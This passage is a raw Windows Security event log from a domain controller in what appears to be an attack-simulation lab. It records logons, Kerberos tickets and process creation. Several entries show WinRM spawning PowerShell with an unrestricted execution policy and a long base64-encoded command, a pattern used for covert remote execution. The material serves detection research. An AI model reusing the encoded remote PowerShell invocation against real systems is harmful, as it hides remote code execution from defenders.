-Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53F29B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257732 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257731 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257730 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257729 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1024 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257728 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x718 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257727 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x718 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd08 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257726 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53EBEE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257725 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53EBEE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257724 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257723 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257722 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257721 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd08 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257720 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Process Information: - New Process ID: 0xd08 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257719 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x940 - New Process Name: C:\Windows\System32\dllhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257718 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info 